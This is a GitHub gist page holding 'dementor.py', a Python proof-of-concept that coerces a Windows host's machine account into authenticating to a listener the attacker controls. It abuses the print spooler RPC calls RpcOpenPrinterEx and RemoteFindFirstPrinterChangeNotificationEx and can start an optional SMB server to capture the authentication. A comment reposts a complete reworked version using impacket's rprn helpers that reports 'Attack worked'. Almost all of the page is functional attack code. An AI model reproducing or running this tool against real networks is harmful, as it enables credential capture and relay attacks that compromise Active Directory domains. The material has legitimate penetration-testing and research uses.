Skip to content

Instantly share code, notes, and snippets.

@3xocyte

3xocyte/dementor.py

Last active June 26, 2024 18:32
Show Gist options
  • Save 3xocyte/cfaf8a34f76569a8251bde65fe69dccc to your computer and use it in GitHub Desktop.
Save 3xocyte/cfaf8a34f76569a8251bde65fe69dccc to your computer and use it in GitHub Desktop.
Download ZIP
rough PoC to connect to spoolss to elicit machine account authentication
Raw
dementor.py
#!/usr/bin/env python
# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/
import os
import sys
import argparse
import binascii
import ConfigParser
from time import sleep
from threading import Thread
from impacket import smbserver, smb
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
target = ''
listener = ''
debug = False
show_banner = """
**
** *
** **
** **
** ******** **** *** ****
*** ** *** *** **** **** *** *** **** ******** * *** * **** **** *
********* * *** *** **** *** * * *** **** **** * ** * **** ** ****
** **** * *** ** **** **** * *** ** **** ** ** ** **
** ** ** *** ** ** ** ** *** ** ** ** ** ** **
** ** ******** ** ** ** ******** ** ** ** ** ** **
** ** ******* ** ** ** ******* ** ** ** ** ** **
** ** ** ** ** ** ** ** ** ** ** ** **
** ** **** * ** ** ** **** * ** ** ** ****** ***
***** ******* *** *** *** ******* *** *** ** **** ***
*** ***** *** *** *** ***** *** ***
rough PoC to connect to spoolss to elicit machine account authentication
implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and
code fixes for Windows 10/2016 by @elad_shamir
"""
# printer and listener struct
class type1(Structure):
alignment = 4
structure = (
('id', '<L'), # printer name referent ID
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
# client and user struct
class type2(Structure):
alignment = 4
structure = (
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
# create RpcOpenPrinterEx struct
class OpenPrinterEx(Structure):
alignment = 4
opnum = 69
structure = (
('printer', ':', type1),
('null', '<L=0'),
('str', '<L=0'),
('null2', '<L=0'),
('access', '<L=0x00020002'),
('level', '<L=1'),
('id1', '<L=1'),
('level2', '<L=131076'), # user level 1 infolevel
('size', '<L=28'),
('id2', '<L=0x00020008'), # client referent id
('id3', '<L=0x0002000c'), # user referent id
('build', '<L=8000'),
('major', '<L=0'),
('minor', '<L=0'),
('processor', '<L=0'),
('client', ':', type2),
('user', ':', type2),
)
# partialy create RemoteFindFirstPrinterChangeNotificationEx struct
class RemoteFindFirstPrinterChangeNotificationEx(Structure):
alignment =4
opnum = 65
structure = (
('flags', '<L=0'),
('options', '<L=0'),
('server', ':', type1),
('local','<L=123'), # Printer local
)
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def run(self):
# mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global', 'server_name','server_name')
smbConfig.set('global', 'server_os','Windows')
smbConfig.set('global', 'server_domain','WORKGROUP')
smbConfig.set('global', 'log_file','')
smbConfig.set('global', 'credentials_file','')
smbConfig.set("global", 'SMB2Support', 'True')
# fake ipc$
smbConfig.add_section('IPC$')
smbConfig.set('IPC$', 'comment', '')
smbConfig.set('IPC$', 'read only', 'yes')
smbConfig.set('IPC$', 'share type', '3')
smbConfig.set('IPC$', 'path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.smb.processConfigFile()
# unregister dangerous commands
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
# build RpcOpenPrinterEx() struct
def open_printer(username, client):
query = OpenPrinterEx()
printer = "\\\\%s\x00" % (target) # blank printer
query['printer'] = type1()
query['printer']['id'] = 0x00020000 # referent ID for printer
query['printer']['max'] = len(printer) # printer max size
query['printer']['actual'] = len(printer) # printer actual size
query['printer']['str'] = printer.encode('utf_16_le')
query['client'] = type2()
query['client']['max'] = len(client)
query['client']['actual'] = len(client)
query['client']['str'] = client.encode('utf_16_le')
query['user'] = type2()
query['user']['max'] = len(username)
query['user']['actual'] = len(username)
query['user']['str'] = username.encode('utf_16_le')
return query
# partially build RpcRemoteFindFirstPrinterChangeNotificationEx() struct
def rffpcnex():
query = RemoteFindFirstPrinterChangeNotificationEx()
server = '\\\\%s\x00' % (listener) # server
query['server'] = type1()
query['server']['id'] = 0x41414141 # referent ID for server
query['server']['max'] = len(server) # server name max size
query['server']['actual'] = len(server) # server name actual size
query['server']['str'] = server.encode('utf_16_le')
return query
def call_open_printer(dce, user, client):
global debug
print "[*] getting context handle..."
query = open_printer(user,client)
try:
dce.call(query.opnum, query)
raw = dce.recv()
if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
handle = raw[:20]
if debug == True: print "[*] handle is: " + binascii.hexlify(handle)
except Exception as e:
print "[*] exception " + str(e)
dce.disconnect()
sys.exit()
return handle
def grab_hash(dce, handle):
global debug
print "[*] sending RFFPCNEX..."
# because I'm lazy
options_container = (''
'\x04\x00\x02\x00' # referent id
'\x02\x00\x00\x00' # version
'\xce\x55\x00\x00' # flags
'\x02\x00\x00\x00' # count
# notify options blob to unpack another day
'\x08\x00\x02\x00\x02\x00\x00\x00\x00\x00\xce\x55\x00\x00'
'\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x02\x00'
'\x01\x00\x00\x00\xe0\x11\xbd\x8f\xce\x55\x00\x00\x01\x00'
'\x00\x00\x10\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00'
'\x01\x00\x00\x00\x00\x00'
)
# call function to get method core
query = rffpcnex()
# hack to compensate for laziness
full_query = handle
full_query += str(query)
full_query += options_container
try:
dce.call(query.opnum, full_query)
raw = dce.recv()
if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
except Exception as e:
print "[*] exception " + str(e)
dce.disconnect()
sys.exit()
def create_connection(domain, username, password, ntlm):
# set up connection prereqs
# creds
creds={}
creds['username'] = username
creds['password'] = password
creds['domain'] = domain
creds['nthash'] = ntlm
# to transport
stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['nthash'])
dce = rpctransport.get_dce_rpc()
# actually connect
print "[*] connecting to %s" % target
try:
dce.connect()
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
print "[*] access denied"
sys.exit()
else:
print "[*] unhandled exception occured: " + str(e)
sys.exit()
# defines the printer endpoint
try:
dce.bind(MSRPC_UUID_SPOOLSS)
except Exception as e:
print "[*] unhandled exception: " + str(e)
sys.exit()
print "[+] bound to spoolss"
return dce
def main():
# globals
global target
global listener
global debug
global show_banner
parser = argparse.ArgumentParser(add_help = True, description = "dementor - rough PoC to connect to spoolss to elicit machine account authentication (implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and code fixes by @elad_shamir)")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('--ntlm', action="store", default='', help='nt hash')
parser.add_argument('--server', action='store_true', default=False, help='create smb listener')
parser.add_argument('--debug', action="store_true", default=False, help='enable debugging')
parser.add_argument('-q', '--banner', action="store_true", default=False,help='show banner')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
domain = options.domain
username = options.username
password = options.password
ntlm = options.ntlm
server = options.server
listener = options.listener
target = options.target
debug = options.debug
banner = options.banner
if banner == True:
print show_banner
if server == True:
print "[*] starting smb server..."
server_thread = SMBServer()
server_thread.daemon = True
server_thread.start()
sleep(1) # ensure server starts before continuing
print "[+] server running"
dce = create_connection(domain, username, password, ntlm)
handle = call_open_printer(dce, domain+"\\"+username+"\x00", listener+"\x00")
grab_hash(dce, handle)
print "[+] done!"
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()
@asolino
Copy link

asolino commented Nov 30, 2018

Nice one @3xocyte. I just added the [MS-RPRN] calls into impacket to make the calls easier (Check this and this).

If you have any question I'm @agsolino at Twitter. Cheers.

Just made a quick modification of your example now using those functions. Didn't test it much.

#!/usr/bin/env python

# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/

import os
import sys
import argparse
import binascii
import ConfigParser
import logging
from time import sleep
from threading import Thread
from impacket import smbserver, smb
from impacket.dcerpc.v5 import transport, rprn
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.examples import logger

target = ''
listener = ''
debug = False

show_banner = """
                                                                                               
     **                                                                                        
      **                                                         *                             
      **                                                        **                             
      **                                                        **                             
      **                                                      ********    ****    ***  ****    
  *** **      ***    *** **** ****       ***    ***  ****    ********    * ***  *  **** **** * 
 *********   * ***    *** **** ***  *   * ***    **** **** *    **      *   ****    **   ****  
**   ****   *   ***    **  **** ****   *   ***    **   ****     **     **    **     **         
**    **   **    ***   **   **   **   **    ***   **    **      **     **    **     **         
**    **   ********    **   **   **   ********    **    **      **     **    **     **         
**    **   *******     **   **   **   *******     **    **      **     **    **     **         
**    **   **          **   **   **   **          **    **      **     **    **     **         
**    **   ****    *   **   **   **   ****    *   **    **      **      ******      ***        
 *****      *******    ***  ***  ***   *******    ***   ***      **      ****        ***       
  ***        *****      ***  ***  ***   *****      ***   ***                                   
                                                                                               
        rough PoC to connect to spoolss to elicit machine account authentication
        implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and 
        code fixes for Windows 10/2016 by @elad_shamir
"""

class SMBServer(Thread):
    def __init__(self):
        Thread.__init__(self)
        self.smb = None

    def run(self):
        # mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global', 'server_name','server_name')
        smbConfig.set('global', 'server_os','Windows')
        smbConfig.set('global', 'server_domain','WORKGROUP')
        smbConfig.set('global', 'log_file','')
        smbConfig.set('global', 'credentials_file','')
        smbConfig.set("global", 'SMB2Support', 'True') 

        # fake ipc$
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$', 'comment', '')
        smbConfig.set('IPC$', 'read only', 'yes')
        smbConfig.set('IPC$', 'share type', '3')
        smbConfig.set('IPC$', 'path')

        self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
        self.smb.processConfigFile()
        # unregister dangerous commands
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        try:
            self.smb.serve_forever()
        except:
            pass

    def stop(self):
        self.smb.socket.close()
        self.smb.server_close()
        self._Thread__stop()

def call_open_printer(dce):
    global debug
    logging.info("getting context handle...")
    try:
        resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
        if debug == True:
            logging.debug("raw response: ")
            resp.dump()
            logging.debug("handle is: %s" % binascii.hexlify(resp['pHandle']))
    except Exception as e:
        logging.error("exception " + str(e))
        dce.disconnect()
        sys.exit()
    return resp['pHandle']

def grab_hash(dce, handle, listener):
    global debug
    logging.info("sending RFFPCNEX...")
    try:
        resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, handle, rprn.PRINTER_CHANGE_ADD_JOB,
                                                               pszLocalMachine='\\\\%s\x00' % listener)
        if debug is True:
            logging.info("raw response: ")
            resp.dump()
    except Exception as e:
        if str(e).find('RPC_S_SERVER_UNAVAILABLE') >= 0:
            logging.info('Got expected RPC_S_SERVER_UNAVAILABLE exception. Attack worked')
            pass
        else:
            logging.error("exception %s" % str(e))

def create_connection(domain, username, password, ntlm):
    # set up connection prereqs
    # creds
    creds={}
    creds['username'] = username
    creds['password'] = password
    creds['domain'] = domain
    creds['nthash'] = ntlm
    # to transport
    stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target
    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], nthash = creds['nthash'])
    dce = rpctransport.get_dce_rpc()
    # actually connect
    logging.info("connecting to %s" % target)
    try:
        dce.connect()
    except Exception as e:
        if "STATUS_ACCESS_DENIED" in str(e):
            logging.error("access denied")
            sys.exit()
        else:
            logging.error("unhandled exception occured: %s" % str(e))
            sys.exit()
    # defines the printer endpoint
    try:
        dce.bind(rprn.MSRPC_UUID_RPRN)
    except Exception as e:
        logging.error("unhandled exception: %s" % str(e))
        sys.exit()
    logging.info("bound to spoolss")
    return dce

def main():

    # globals
    global target
    global listener
    global debug
    global show_banner
    logger.init()

    parser = argparse.ArgumentParser(add_help = True, description = "dementor - rough PoC to connect to spoolss to elicit machine account authentication (implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and code fixes by @elad_shamir)")
    parser.add_argument('-u', '--username', action="store", default='', help='valid username')
    parser.add_argument('-p', '--password', action="store", default='', help='valid password')
    parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
    parser.add_argument('--ntlm', action="store", default='', help='nt hash')
    parser.add_argument('--server', action='store_true', default=False, help='create smb listener')
    parser.add_argument('--debug', action="store_true", default=False, help='enable debugging')
    parser.add_argument('-q', '--banner', action="store_true", default=False,help='show banner')
    parser.add_argument('listener', help='ip address or hostname of listener')
    parser.add_argument('target', help='ip address or hostname of target')

    options = parser.parse_args()

    domain = options.domain
    username = options.username
    password = options.password
    ntlm = options.ntlm
    server = options.server
    listener = options.listener
    target = options.target
    debug = options.debug
    banner = options.banner

    if banner is True:
        print(show_banner)

    if server is True:
        logging.info("starting smb server...")
        server_thread = SMBServer()
        server_thread.daemon = True
        server_thread.start()
        sleep(1) # ensure server starts before continuing
        logging.info("server running")

    dce = create_connection(domain, username, password, ntlm)
    handle = call_open_printer(dce)
    grab_hash(dce, handle, listener)
    logging.info("done!")
    dce.disconnect()
    sys.exit()

if __name__ == '__main__':
    main()

@3xocyte
Copy link
Author

3xocyte commented Jan 8, 2019

Awesome! Thanks for all your awesome work, @asolino!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment